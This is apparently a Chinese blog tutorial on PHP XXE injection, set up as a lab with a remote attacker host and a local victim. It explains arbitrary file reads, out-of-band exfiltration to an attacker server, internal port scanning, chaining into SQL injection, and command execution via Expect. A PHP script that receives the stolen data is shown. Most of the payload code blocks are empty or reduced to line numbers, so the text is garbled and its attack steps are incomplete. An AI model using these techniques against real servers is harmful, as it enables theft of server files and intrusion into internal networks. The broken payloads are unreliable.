XXE危害说明
XXE
就是XML
外部实体注入。
由于服务端未对提交的xml
的数据中引入外部实体做必要的处理,而在外部实体中引入php
伪协议从而造成的攻击。
当允许引用外部实体时,通过构造恶意内容,可导致
- 读取任意文件
- 探测内网端口
- 攻击内网网站
- 执行系统命令
漏洞环境说明
PHP环境低于5.5使用此代码测试
1 | <?php |
PHP环境大于等于5.5使用此代码测试
1 | <?php |
漏洞利用
注意点: 利用xxe
读取的数据返回不能有html
元素不然会报错
读取文件
有回显
利用各种协议可以读取文件,比如file://
,php://filter
windwos读取文件
使用file://
协议:
1 | <?xml version="1.0" encoding="UTF-8" ?> |
使用php://filter
协议:
1 | <?xml version="1.0" encoding="utf-8"?> |
linux读取文件
使用file://
协议:
1 |
|
使用php://filter
协议:
1 |
|
无回显
无回显的的话则需要将文件读取的内容发送到我们的远程服务器上。
模拟场景:
服务器 | 域名 | 说明 |
---|---|---|
攻击机 | http://test.hzktester.top/XXE/ | 远程服务器 |
受害机 | http://192.168.3.13/XXE/ | 本地搭建 |
在攻击机建立
php
文件接收数据1
2
3
4// 文件名称:get.php
<?php
file_put_contents('xxe_data.txt', $_GET['xxe_local']);
?>在攻击机建立
xml
文件给用于给受害机引入1
2
3// 文件名称:1.xml
在受害机上执行
payload
:1
2
3
4
5
6
7
8
<r>&exfil;</r>执行完以后会把数据
base64
回传给get.php
。get.php
会创建一个xxe_data.txt
文件并且写入数据
探测内网
修改http://127.0.0.1:80
为任意地址端口
1 |
|
运行以后
如果访问的端口是打开的,那么他返回就会很快
如果返回很慢,就说明端口没开
这里页面显示报错了,使用返回的数据是html
攻击内网网站
例如:http://127.0.0.1/sqli-labs/Less-1/?id=1现在有sql
注入
为了解决返回有html
会爆错的问题,我们可以把数据base64
发送到我们服务器进行查看
服务器 | 域名 | 说明 |
---|---|---|
攻击机 | http://test.hzktester.top/XXE/ | 远程服务器 |
受害机 | http://127.0.0.1/sqli-labs/Less-1/?id=1 | 本地搭建 |
在攻击机建立
php
文件接收数据1
2
3
4// 文件名称:get.php
<?php
file_put_contents('xxe_data.txt', $_GET['xxe_local']);
?>在攻击机建立
xml
文件用于给受害机引入1
2
3// 文件名称:2.xml
对http://127.0.0.1:80/sqli-labs/Less-1/?id=1进行普通注入即可
例如:
http://127.0.0.1:80/sqli-labs/Less-1/?id=1‘ and ‘1’=’1
http://127.0.0.1:80/sqli-labs/Less-1/?id=1‘ and ‘1’=’2受害机运行
payload
:1
2
3
4
5
6
7
8
<r>&exfil;</r>执行完以后会把数据
base64
回传给get.php
。get.php
会创建一个xxe_data.txt
文件并且写入数据
解密返回的就是页面数据 然后不断修改2.xml
进行注入即可
执行系统命令
需要系统安装了PECL
上的Expect
拓展
1 |
|